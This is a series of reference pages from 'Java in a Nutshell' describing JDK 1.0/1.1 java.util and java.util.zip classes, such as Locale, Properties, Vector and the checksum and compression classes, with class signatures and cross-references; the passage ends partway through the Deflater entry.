The Locale class does not implement any internationalization behavior itself; it merely serves as a locale identifier for those classes that can localize their behavior. Given a Locale object, you can invoke the various getDisplay methods to obtain a description of the locale suitable for display to a user. Note that these methods may themselves take a Locale argument so that the names of languages and countries can be localized as appropriate.

public final class Locale extends Object implements Cloneable, Serializable {
    // Public Constructors
            public Locale(String language, String country, String variant);
            public Locale(String language, String country);
    // Constants
            public static final Locale CANADA;
            public static final Locale CANADA_FRENCH;
            public static final Locale CHINA;
            public static final Locale CHINESE;
            public static final Locale ENGLISH;
            public static final Locale FRANCE;
            public static final Locale FRENCH;
            public static final Locale GERMAN;
            public static final Locale GERMANY;
            public static final Locale ITALIAN;
            public static final Locale ITALY;
            public static final Locale JAPAN;
            public static final Locale JAPANESE;
            public static final Locale KOREA;
            public static final Locale KOREAN;
            public static final Locale PRC;
            public static final Locale SIMPLIFIED_CHINESE;
            public static final Locale TAIWAN;
            public static final Locale TRADITIONAL_CHINESE;
            public static final Locale UK;
            public static final Locale US;
    // Class Methods
            public static synchronized Locale getDefault();
            public static synchronized void setDefault(Locale newLocale);
    // Public Instance Methods
            public Object clone();  // Overrides Object
            public boolean equals(Object obj);  // Overrides Object
            public String getCountry();
            public final String getDisplayCountry();
            public String getDisplayCountry(Locale inLocale);
            public final String getDisplayLanguage();
            public String getDisplayLanguage(Locale inLocale);
            public final String getDisplayName();
            public String getDisplayName(Locale inLocale);
            public final String getDisplayVariant();
            public String getDisplayVariant(Locale inLocale);
            public String getISO3Country() throws MissingResourceException;
            public String getISO3Language() throws MissingResourceException;
            public String getLanguage();
            public String getVariant();
            public synchronized int hashCode();  // Overrides Object
            public final String toString();  // Overrides Object
}

Passed To:

BreakIterator.getCharacterInstance(),
BreakIterator.getLineInstance(),
BreakIterator.getSentenceInstance(),
BreakIterator.getWordInstance(),
Calendar(),
Calendar.getInstance(),
Collator.getInstance(),
Component.setLocale(),
DateFormat.getDateInstance(),
DateFormat.getDateTimeInstance(),
DateFormat.getTimeInstance(),
DateFormatSymbols(),
DecimalFormatSymbols(),
GregorianCalendar(),
Locale.getDisplayCountry(),
Locale.getDisplayLanguage(),
Locale.getDisplayName(),
Locale.getDisplayVariant(),
Locale.setDefault(),
MessageFormat.setLocale(),
NumberFormat.getCurrencyInstance(),
NumberFormat.getInstance(),
NumberFormat.getNumberInstance(),
NumberFormat.getPercentInstance(),
ResourceBundle.getBundle(),
SimpleDateFormat(),
String.toLowerCase(),
String.toUpperCase()

Returned By:

Applet.getLocale(),
BreakIterator.getAvailableLocales(),
Calendar.getAvailableLocales(),
Collator.getAvailableLocales(),
Component.getLocale(),
DateFormat.getAvailableLocales(),
Locale.getDefault(),
MessageFormat.getLocale(),
NumberFormat.getAvailableLocales(),
Window.getLocale()

Previous | Home | Next
java.util.ListResourceBundle (JDK 1.1) | Book Index | java.util.MissingResourceException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.13 java.util.MissingResourceException (JDK 1.1)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.13 java.util.MissingResourceException (JDK 1.1)

This exception signals that no ResourceBundle could be located for the desired locale, or that a named resource could not be found within a given ResourceBundle.

getClassName() returns the name of the ResourceBundle class in question, and getKey() returns the name of the resource that could not be located.

public class MissingResourceException extends RuntimeException {
    // Public Constructor
            public MissingResourceException(String s, String className, String key);
    // Public Instance Methods
            public String getClassName();
            public String getKey();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException->MissingResourceException

Thrown By:

Locale.getISO3Country(),
Locale.getISO3Language(),
ResourceBundle.getBundle(),
ResourceBundle.getObject(),
ResourceBundle.getString(),
ResourceBundle.getStringArray(),
ResourceBundle.handleGetObject()

Previous | Home | Next
java.util.Locale (JDK 1.1) | Book Index | java.util.NoSuchElementException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.14 java.util.NoSuchElementException (JDK 1.0)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.14 java.util.NoSuchElementException (JDK 1.0)

Signals that there are no elements in an object (such as a Vector) or that there are no more elements in an object (such as an Enumeration).

public class NoSuchElementException extends RuntimeException {
    // Public Constructors
            public NoSuchElementException();
            public NoSuchElementException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException->NoSuchElementException

Previous | Home | Next
java.util.MissingResourceException (JDK 1.1) | Book Index | java.util.Observable (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.15 java.util.Observable (JDK 1.0)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.15 java.util.Observable (JDK 1.0)

This class is the superclass of all "observable" objects to be used in an object-oriented model/view paradigm. The class methods allow you to add and delete Observer objects to and from an Observable's list, and to notify all of the Observer objects on the list. Observer objects are "notified" by invoking their update() method. Observable also maintains an internal "changed" flag, which may be set and cleared by the Observable, and which may be queried with hasChanged() by any interested observer.

public class Observable extends Object {
    // Public Constructor
        1.1public Observable();
    // Public Instance Methods
            public synchronized void addObserver(Observer o);
            public synchronized int countObservers();
            public synchronized void deleteObserver(Observer o);
            public synchronized void deleteObservers();
            public synchronized boolean hasChanged();
            public void notifyObservers();
            public void notifyObservers(Object arg);
    // Protected Instance Methods
            protected synchronized void clearChanged();
            protected synchronized void setChanged();
}

Passed To:

Observer.update()

Previous | Home | Next
java.util.NoSuchElementException (JDK 1.0) | Book Index | java.util.Observer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.16 java.util.Observer (JDK 1.0)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.16 java.util.Observer (JDK 1.0)

This interface defines the update() method required for an object to "observe" subclasses of Observable. An Observer registers interest in an Observable() by calling the Observable.addObserver() method. Observer objects that have been registered in this way will have their update() method invoked by the Observable when that object has changed.

public abstract interface Observer {
    // Public Instance Methods
            public abstract void update(Observable o, Object arg);
}

Passed To:

Observable.addObserver(), Observable.deleteObserver()

Previous | Home | Next
java.util.Observable (JDK 1.0) | Book Index | java.util.Properties (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.17 java.util.Properties (JDK 1.0)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.17 java.util.Properties (JDK 1.0)

This class is an extension of Hashtable that allows key/value pairs to be read from and written to a stream. The Properties class is used to implement the system properties list, which supports user customization by allowing programs to look up the value of named resources.

When you create a Properties object, you may specify another Properties object that contains default values. Keys (property names) and values are associated in a Properties object with the Hashtable method put(). Values are looked up with getProperty()--if this method does not find the key in the current Properties object, it looks in the default Properties object that was passed to the constructor method. A default value may also be specified in case the key is not found at all.

propertyNames() returns an enumeration of all property names (keys) stored in the Properties object and (recursively) also all property names stored in the default Properties object associated with it. list() prints the properties stored in a Properties object. It is useful for debugging. save() writes a Properties object to a stream. load() reads key/value pairs from a stream and stores them in a Properties object.

public class Properties extends Hashtable {
    // Public Constructors
            public Properties();
            public Properties(Properties defaults);
    // Protected Instance Variables
            protected Properties defaults;
    // Public Instance Methods
            public String getProperty(String key);
            public String getProperty(String key, String defaultValue);
            public void list(PrintStream out);
        1.1public void list(PrintWriter out);
            public synchronized void load(InputStream in) throws IOException;
            public Enumeration propertyNames();
            public synchronized void save(OutputStream out, String header);
}

Hierarchy:

Object->Dictionary->Hashtable(Cloneable, Serializable)->Properties

Passed To:

Properties(),
System.setProperties(),
Toolkit.getPrintJob()

Returned By:

System.getProperties()

Type Of:

Properties.defaults

Previous | Home | Next
java.util.Observer (JDK 1.0) | Book Index | java.util.PropertyResourceBundle (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.18 java.util.PropertyResourceBundle (JDK 1.1)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.18 java.util.PropertyResourceBundle (JDK 1.1)

This class is a concrete subclass of ResourceBundle. It reads a Properties file from a specified InputStream and implements the ResourceBundle API for looking up named resources from the resulting Properties object.

A Properties file contains lines of the form:

name=value

Each such line defines a named property with the specified String value.

Although you can instantiate a PropertyResourceBundle yourself, it is more common to simply define a Properties file, and then allow ResourceBundle.getBundle() to look up that file and return the necessary PropertyResourceBundle object.

See also Properties and ResourceBundle.

public class PropertyResourceBundle extends ResourceBundle {
    // Public Constructor
            public PropertyResourceBundle(InputStream stream) throws IOException;
    // Public Instance Methods
            public Enumeration getKeys();  // Defines ResourceBundle
            public Object handleGetObject(String key);  // Defines ResourceBundle
}

Hierarchy:

Object->ResourceBundle->PropertyResourceBundle

Previous | Home | Next
java.util.Properties (JDK 1.0) | Book Index | java.util.Random (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.19 java.util.Random (JDK 1.0)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.19 java.util.Random (JDK 1.0)

This class implements a pseudo-random number generator. nextDouble() and nextFloat() return a value between 0.0 and 1.0. nextLong() and nextInt() return long and int values distributed across the range of those data types. nextGaussian() returns pseudo-random values with a Gaussian distribution--the mean of the values is 0.0, and the standard deviation is 1.0. You can use the setSeed() method or the optional constructor argument to initialize the pseudo-random number generator with some variable seed value other than the current time (the default), or with a constant to ensure a repeatable sequence of pseudo-randomness.

public class Random extends Object implements Serializable {
    // Public Constructors
            public Random();
            public Random(long seed);
    // Public Instance Methods
        1.1public void nextBytes(byte[] bytes);
            public double nextDouble();
            public float nextFloat();
            public synchronized double nextGaussian();
            public int nextInt();
            public long nextLong();
            public synchronized void setSeed(long seed);
    // Protected Instance Methods
        1.1protected synchronized int next(int bits);
}

Passed To:

BigInteger()

Previous | Home | Next
java.util.PropertyResourceBundle (JDK 1.1) | Book Index | java.util.ResourceBundle (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.20 java.util.ResourceBundle (JDK 1.1)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.20 java.util.ResourceBundle (JDK 1.1)

This abstract class allows subclasses to define sets of localized resources which can then be dynamically loaded as needed by internationalized programs. Such resources may include user-visible text and images that appear in an application, and even more complex things such as Menu objects.

Use getBundle() to load a ResourceBundle subclass that is appropriate for the default or the specified locale. Use getObject(), getString(), and getStringArray() to look up a named resource in a bundle. To define a bundle, provide implementations of handleGetObject() and getKeys(). It is often easier, however, to subclass ListResourceBundle, or to provide a property file that is used by PropertyResourceBundle. The name of any localized ResourceBundle class you define should include the locale language code, and, optionally, the locale country code.

public abstract class ResourceBundle extends Object {
    // Default Constructor: public ResourceBundle()
    // Protected Instance Variables
            protected ResourceBundle parent;
    // Class Methods
            public static final ResourceBundle getBundle(String baseName) throws MissingResourceException;
            public static final ResourceBundle getBundle(String baseName, Locale locale);
    // Public Instance Methods
            public abstract Enumeration getKeys();
            public final Object getObject(String key) throws MissingResourceException;
            public final String getString(String key) throws MissingResourceException;
            public final String[] getStringArray(String key) throws MissingResourceException;
    // Protected Instance Methods
            protected abstract Object handleGetObject(String key) throws MissingResourceException;
            protected void setParent(ResourceBundle parent);
}

Extended By:

ListResourceBundle, PropertyResourceBundle

Passed To:

ResourceBundle.setParent()

Returned By:

ResourceBundle.getBundle()

Type Of:

ResourceBundle.parent

Previous | Home | Next
java.util.Random (JDK 1.0) | Book Index | java.util.SimpleTimeZone (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.21 java.util.SimpleTimeZone (JDK 1.1)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.21 java.util.SimpleTimeZone (JDK 1.1)

This concrete subclass of TimeZone is a simple implementation of that abstract class, and is suitable for use in locales that use the Gregorian calendar. Programs do not usually need to instantiate this class directly; instead, they use one of the static "factory" methods of TimeZone to obtain a suitable TimeZone subclass.

You would instantiate this class directly only if you needed to support a time zone with nonstandard daylight savings time rules. In that case, you would use call setStartRule() and setEndRule() to specify the starting and ending dates of daylight savings time for the time zone.

public class SimpleTimeZone extends TimeZone {
    // Public Constructors
            public SimpleTimeZone(int rawOffset, String ID);
            public SimpleTimeZone(int rawOffset, String ID, int startMonth, int startDayOfWeekInMonth, int startDayOfWeek, int startTime, int endMonth, int endDayOfWeekInMonth, int endDayOfWeek, int endTime);
    // Public Instance Methods
            public Object clone();  // Overrides TimeZone
            public boolean equals(Object obj);  // Overrides Object
            public int getOffset(int era, int year, int month, int day, int dayOfWeek, int millis);  // Defines TimeZone
            public int getRawOffset();  // Defines TimeZone
            public synchronized int hashCode();  // Overrides Object
            public boolean inDaylightTime(Date date);  // Defines TimeZone
            public void setEndRule(int month, int dayOfWeekInMonth, int dayOfWeek, int time);
            public void setRawOffset(int offsetMillis);  // Defines TimeZone
            public void setStartRule(int month, int dayOfWeekInMonth, int dayOfWeek, int time);
            public void setStartYear(int year);
            public boolean useDaylightTime();  // Defines TimeZone
}

Hierarchy:

Object->TimeZone(Serializable, Cloneable)->SimpleTimeZone

Previous | Home | Next
java.util.ResourceBundle (JDK 1.1) | Book Index | java.util.Stack (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.22 java.util.Stack (JDK 1.0)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.22 java.util.Stack (JDK 1.0)

This class implements a last-in-first-out stack of objects. push() puts an object on the top of the stack. pop() removes and returns the top object from the stack. peek() returns the top object without removing it.

public class Stack extends Vector {
    // Default Constructor: public Stack()
    // Public Instance Methods
            public boolean empty();
            public synchronized Object peek();
            public synchronized Object pop();
            public Object push(Object item);
            public synchronized int search(Object o);
}

Hierarchy:

Object->Vector(Cloneable, Serializable)->Stack

Previous | Home | Next
java.util.SimpleTimeZone (JDK 1.1) | Book Index | java.util.StringTokenizer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.23 java.util.StringTokenizer (JDK 1.0)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.23 java.util.StringTokenizer (JDK 1.0)

This class, when instantiated with a String, breaks the string up into tokens separated by any of the characters in the specified string of delimiters. (For example, words separated by space and tab characters are tokens.) The hasMoreTokens() and nextToken() methods can be used to obtain the tokens in order. countTokens() returns the number of tokens in the string. Note that StringTokenizer implements the Enumeration interface, so you may also access the tokens with the familiar hasMoreElements() and nextElement() methods.

When you create a StringTokenizer you may specify a string of delimiter characters to use for the entire string, or you may rely on the default whitespace delimiters. You may also specify whether the delimiters themselves should be returned as tokens. You may optionally specify a new string of delimiter characters when you call nextToken().

public class StringTokenizer extends Object implements Enumeration {
    // Public Constructors
            public StringTokenizer(String str, String delim, boolean returnTokens);
            public StringTokenizer(String str, String delim);
            public StringTokenizer(String str);
    // Public Instance Methods
            public int countTokens();
            public boolean hasMoreElements();  // From Enumeration
            public boolean hasMoreTokens();
            public Object nextElement();  // From Enumeration
            public String nextToken();
            public String nextToken(String delim);
}

Previous | Home | Next
java.util.Stack (JDK 1.0) | Book Index | java.util.TimeZone (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.24 java.util.TimeZone (JDK 1.1)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.24 java.util.TimeZone (JDK 1.1)

The TimeZone class represents a time zone; it is used with the Calendar and DateFormat classes.

As an abstract class, TimeZone cannot be directly instantiated. Instead, you should call the static getDefault() method to obtain a TimeZone object that represents the time zone inherited from the host operating system. Or, you should call getTimeZone() (also static), passing the name of the desired zone. You can obtain a list of the supported time zone names by calling the static getAvailableIDs() method.

Once you have a TimeZone object, you can call inDaylightTime() to determine whether, for a given Date, daylight savings time is in effect for that time zone. Call getID() to obtain the name of the time zone, and call getOffset() for a given date to determine the number of milliseconds to add to GMT to convert to the time zone.

public abstract class TimeZone extends Object implements Serializable, Cloneable {
    // Default Constructor: public TimeZone()
    // Class Methods
            public static synchronized String[] getAvailableIDs(int rawOffset);
            public static synchronized String[] getAvailableIDs();
            public static synchronized TimeZone getDefault();
            public static synchronized TimeZone getTimeZone(String ID);
            public static synchronized void setDefault(TimeZone zone);
    // Public Instance Methods
            public Object clone();  // Overrides Object
            public String getID();
            public abstract int getOffset(int era, int year, int month, int day, int dayOfWeek, int milliseconds);
            public abstract int getRawOffset();
            public abstract boolean inDaylightTime(Date date);
            public void setID(String ID);
            public abstract void setRawOffset(int offsetMillis);
            public abstract boolean useDaylightTime();
}

Extended By:

SimpleTimeZone

Passed To:

Calendar(),
Calendar.getInstance(),
Calendar.setTimeZone(),
DateFormat.setTimeZone(),
GregorianCalendar(),
TimeZone.setDefault()

Returned By:

Calendar.getTimeZone(),
DateFormat.getTimeZone(),
TimeZone.getDefault(),
TimeZone.getTimeZone()

Previous | Home | Next
java.util.StringTokenizer (JDK 1.0) | Book Index | java.util.TooManyListenersException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.25 java.util.TooManyListenersException (JDK 1.1)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.25 java.util.TooManyListenersException (JDK 1.1)

An exception of this type signals that an AWT component or Java bean may only have one EventListener object registered for some specific type of event. That is, it signals that a particular event is a "unicast" event rather than a "multicast" event.

This exception type serves a formal purpose in the AWT and JavaBeans event model. Its presence in the throws clause of an EventListener registration method (even if the method never actually throws the exception) signals that an event is a unicast event.

public class TooManyListenersException extends Exception {
    // Public Constructors
            public TooManyListenersException();
            public TooManyListenersException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->TooManyListenersException

Previous | Home | Next
java.util.TimeZone (JDK 1.1) | Book Index | java.util.Vector (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] 30.26 java.util.Vector (JDK 1.0)

Java in a Nutshell

Previous Chapter 30
The java.util Package 		Next

30.26 java.util.Vector (JDK 1.0)

This class implements an array of objects that grows in size as necessary. It is useful when you need to keep track of a number of objects but do not know in advance how many there will be. There are a number of methods for storing objects in and removing objects from the Vector. Other methods look up the object at specified positions in the Vector, or search for specified objects within the Vector. elements() returns an Enumeration of the objects stored in the Vector. size() returns the number of objects currently stored in the Vector. capacity() returns the number of elements that may be stored before the vector's internal storage must be reallocated.

public class Vector extends Object implements Cloneable, Serializable {
    // Public Constructors
            public Vector(int initialCapacity, int capacityIncrement);
            public Vector(int initialCapacity);
            public Vector();
    // Protected Instance Variables
            protected int capacityIncrement;
            protected int elementCount;
            protected Object[] elementData;
    // Public Instance Methods
            public final synchronized void addElement(Object obj);
            public final int capacity();
            public synchronized Object clone();  // Overrides Object
            public final boolean contains(Object elem);
            public final synchronized void copyInto(Object[] anArray);
            public final synchronized Object elementAt(int index);
            public final synchronized Enumeration elements();
            public final synchronized void ensureCapacity(int minCapacity);
            public final synchronized Object firstElement();
            public final int indexOf(Object elem);
            public final synchronized int indexOf(Object elem, int index);
            public final synchronized void insertElementAt(Object obj, int index);
            public final boolean isEmpty();
            public final synchronized Object lastElement();
            public final int lastIndexOf(Object elem);
            public final synchronized int lastIndexOf(Object elem, int index);
            public final synchronized void removeAllElements();
            public final synchronized boolean removeElement(Object obj);
            public final synchronized void removeElementAt(int index);
            public final synchronized void setElementAt(Object obj, int index);
            public final synchronized void setSize(int newSize);
            public final int size();
            public final synchronized String toString();  // Overrides Object
            public final synchronized void trimToSize();
}

Extended By:

Stack

Previous | Home | Next
java.util.TooManyListenersException (JDK 1.1) | Book Index | The java.util.zip Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 30] The java.util Package

Java in a Nutshell

Previous Chapter 30 Next

30. The java.util Package

Contents:

Select a new section and then

The java.util package defines a number of useful classes. This package should not be considered a "utility" package separate from the rest of the language; in fact, Java depends directly on several of the classes in this package. Figure 30.1 shows the class hierarchy of this package.

Figure 30.1: The java.util package

[Graphic: Figure 30-1]

The Hashtable class is one of the most useful in the package--it implements a hashtable or associative array. It allows arbitrary objects to be stored and retrieved by arbitrary keys. The Properties subclass of Hashtable is used to store the Java system properties list.

Vector is another extremely useful class. It implements an array of objects that grows as needed when objects are added.

The Enumeration interface provides a simple and consistent way to loop through all the elements contained within some kind of object or data structure.

The Date class represents a date and time, using a millisecond representation. In Java 1.1, the Calendar class manipulates dates using more familiar units such as months, days, hours, and minutes. The TimeZone class is also used in conjunction with dates.

In Java 1.1, ResourceBundle and its subclasses, ListResourceBundle and PropertyResourceBundle, represent a "bundle" of localized resources that are read in by an internationalized program at runtime.

The remaining classes are also useful. BitSet implements an arbitrary-size array of bits. Random generates and returns pseudo-random numbers in a variety of forms. StringTokenizer parses a string into tokens. Stack implements a last-in-first-out stack on which objects may be pushed, and from which they may be popped. And the Observer interface and Observable class provide infrastructure for implementing the object-oriented model-view paradigm in Java.

30.1 java.util.BitSet (JDK 1.0)

This class defines an arbitrarily large set of bits. Instance methods allow you to set, clear, and query individual bits in the set, and also to perform bitwise boolean arithmetic on the bits in BitSet objects. This class can be used as an extremely compact array of boolean values, although reading and writing those values is slower than normal array access.

public final class BitSet extends Object implements Cloneable, Serializable {
    // Public Constructors
            public BitSet();
            public BitSet(int nbits);
    // Public Instance Methods
            public void and(BitSet set);
            public void clear(int bit);
            public Object clone();  // Overrides Object
            public boolean equals(Object obj);  // Overrides Object
            public boolean get(int bit);
            public int hashCode();  // Overrides Object
            public void or(BitSet set);
            public void set(int bit);
            public int size();
            public String toString();  // Overrides Object
            public void xor(BitSet set);
}

Passed To:

BitSet.and(),
BitSet.or(),
BitSet.xor()

Previous | Home | Next
java.text.StringCharacterIterator (JDK 1.1) | Book Index | java.util.Calendar (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] The java.util.zip Package

Java in a Nutshell

Previous Chapter 31 Next

31. The java.util.zip Package

Contents:
java.util.zip.CheckedInputStream (JDK 1.1)
java.util.zip.CheckedOutputStream (JDK 1.1)
java.util.zip.Checksum (JDK 1.1)
java.util.zip.CRC32 (JDK 1.1)
java.util.zip.DataFormatException (JDK 1.1)
java.util.zip.Deflater (JDK 1.1)
java.util.zip.DeflaterOutputStream (JDK 1.1)
java.util.zip.GZIPInputStream (JDK 1.1)
java.util.zip.GZIPOutputStream (JDK 1.1)
java.util.zip.Inflater (JDK 1.1)
java.util.zip.InflaterInputStream (JDK 1.1)
java.util.zip.ZipEntry (JDK 1.1)
java.util.zip.ZipException (JDK 1.1)
java.util.zip.ZipFile (JDK 1.1)
java.util.zip.ZipInputStream (JDK 1.1)
java.util.zip.ZipOutputStream (JDK 1.1)

The java.util.zip package contains classes for data compression and decompression. It is new in Java 1.1. Figure 31.1 shows the class hierarchy of the package.

The Deflater and Inflater classes perform data compression and decompression. DeflaterOutputStream and InflaterInputStream apply that functionality to byte streams; the subclasses of these streams implement both the GZIP and ZIP compression formats. The Adler32 and CRC32 classes implement the Checksum interface and compute the checksums required for data compression.

Figure 31.1: The java.util.zip package

[Graphic: Figure 31-1]

31.1 java.util.zip.Adler32 (JDK 1.1)

This class implements the Checksum interface and computes a checksum on a stream of data using the Adler-32 algorithm. This algorithm is significantly faster than the CRC-32 algorithm and is almost as reliable.

The CheckedInputStream and CheckedOutputStream classes provide a higher-level interface to computing checksums on streams of data.

public class Adler32 extends Object implements Checksum {
    // Default Constructor: public Adler32()
    // Public Instance Methods
            public long getValue();  // From Checksum
            public void reset();  // From Checksum
            public void update(int b);  // From Checksum
            public native void update(byte[] b, int off, int len);  // From Checksum
            public void update(byte[] b);
}

Previous | Home | Next
java.util.Vector (JDK 1.0) | Book Index | java.util.zip.CheckedInputStream (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.2 java.util.zip.CheckedInputStream (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.2 java.util.zip.CheckedInputStream (JDK 1.1)

This class is a subclass of java.io.FilterInputStream; it allows a stream to be read and a checksum computed on its contents at the same time. This is useful when you want to check the integrity of a stream of data against a published checksum value.

To create a CheckedInputStream, you must specify both the stream that it should read and also a Checksum object, such as CRC32, that implements the particular checksum algorithm you desire. The read() and skip() methods are the same as those of other input streams. As bytes are read, they are incorporated into the checksum that is being computed. Note that the getChecksum() method does not return the checksum value itself, but rather the Checksum object. You must call the getValue() method of this object to obtain the checksum value.

public class CheckedInputStream extends FilterInputStream {
    // Public Constructor
            public CheckedInputStream(InputStream in, Checksum cksum);
    // Public Instance Methods
            public Checksum getChecksum();
            public int read() throws IOException;  // Overrides FilterInputStream
            public int read(byte[] buf, int off, int len) throws IOException;  // Overrides FilterInputStream
            public long skip(long n) throws IOException;  // Overrides FilterInputStream
}

Hierarchy:

Object->InputStream->FilterInputStream->CheckedInputStream

Previous | Home | Next
java.util.zip.Adler32 (JDK 1.1) | Book Index | java.util.zip.CheckedOutputStream (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.3 java.util.zip.CheckedOutputStream (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.3 java.util.zip.CheckedOutputStream (JDK 1.1)

This class is a subclass of java.io.FilterOutputStream that allows data to be written to a stream and a checksum computed on that data at the same time.

To create a CheckedOutputStream you must specify the output stream that it is to write its data to, and you must also specify a Checksum object, such as an instance of Adler32, that implements the particular checksum algorithm you desire. The write() methods are similar to those of other OutputStream classes. The getChecksum() method returns the Checksum object. Note that you must call getValue() on this object in order to obtain the actual checksum value.

public class CheckedOutputStream extends FilterOutputStream {
    // Public Constructor
            public CheckedOutputStream(OutputStream out, Checksum cksum);
    // Public Instance Methods
            public Checksum getChecksum();
            public void write(int b) throws IOException;  // Overrides FilterOutputStream
            public void write(byte[] b, int off, int len) throws IOException;  // Overrides FilterOutputStream
}

Hierarchy:

Object->OutputStream->FilterOutputStream->CheckedOutputStream

Previous | Home | Next
java.util.zip.CheckedInputStream (JDK 1.1) | Book Index | java.util.zip.Checksum (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.4 java.util.zip.Checksum (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.4 java.util.zip.Checksum (JDK 1.1)

This interface defines the methods required to compute a checksum on a stream of data. The checksum is computed based on the bytes of data supplied by the update() methods, and the current value of the checksum can be obtained at any time with the getValue() method. reset() resets the checksum to its default value--use this method before beginning a new stream of data.

Note that the checksum value computed by a Checksum object and returned through the getValue() method must fit into a long value. Therefore, this interface is not suitable for the cryptographic checksum algorithms used in cryptography and security.

The classes CheckedInputStream and CheckedOutputStream provide a higher-level API for computing a checksum on a stream of data.

public abstract interface Checksum {
    // Public Instance Methods
            public abstract long getValue();
            public abstract void reset();
            public abstract void update(int b);
            public abstract void update(byte[] b, int off, int len);
}

Implemented By:

Adler32, CRC32

Passed To:

CheckedInputStream(), CheckedOutputStream()

Returned By:

CheckedInputStream.getChecksum(), CheckedOutputStream.getChecksum()

Previous | Home | Next
java.util.zip.CheckedOutputStream (JDK 1.1) | Book Index | java.util.zip.CRC32 (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.5 java.util.zip.CRC32 (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.5 java.util.zip.CRC32 (JDK 1.1)

This class implements the Checksum interface and computes a checksum on a stream of data using the CRC-32 algorithm. The CheckedInputStream and CheckedOutputStream classes provide a higher-level interface to computing checksums on streams of data.

public class CRC32 extends Object implements Checksum {
    // Default Constructor: public CRC32()
    // Public Instance Methods
            public long getValue();  // From Checksum
            public void reset();  // From Checksum
            public void update(int b);  // From Checksum
            public native void update(byte[] b, int off, int len);  // From Checksum
            public void update(byte[] b);
}

Type Of:

GZIPInputStream.crc, GZIPOutputStream.crc

Previous | Home | Next
java.util.zip.Checksum (JDK 1.1) | Book Index | java.util.zip.DataFormatException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.6 java.util.zip.DataFormatException (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.6 java.util.zip.DataFormatException (JDK 1.1)

Signals that invalid or corrupt data has been encountered while uncompressing data.

public class DataFormatException extends Exception {
    // Public Constructors
            public DataFormatException();
            public DataFormatException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->DataFormatException

Thrown By:

Inflater.inflate()

Previous | Home | Next
java.util.zip.CRC32 (JDK 1.1) | Book Index | java.util.zip.Deflater (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.7 java.util.zip.Deflater (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.7 java.util.zip.Deflater (JDK 1.1)

This class implements the general ZLIB data compression algorithm used by the gzip and PKZip compression programs. The constants defined by this class are used to specify the compression strategy to be used and the compression speed/strength trade-off level to be used. If you set the nowrap argument to the constructor to true, then the ZLIB header and checksum data are omitted from the compressed output, which is the format that both gzip and PKZip use.

The important methods of this class are setInput(), which specifies input data to be compressed, and deflate(), which compresses the data and returns the compressed output. The remaining methods exist so that Deflater can be used for stream-based compression, as it is in higher-level classes such as GZIPOutputStream and ZipOutputStream. These stream classes are sufficient in most cases. Most applications do not need to use Deflater directly.

The Inflater class uncompresses data compressed with a Deflater object.

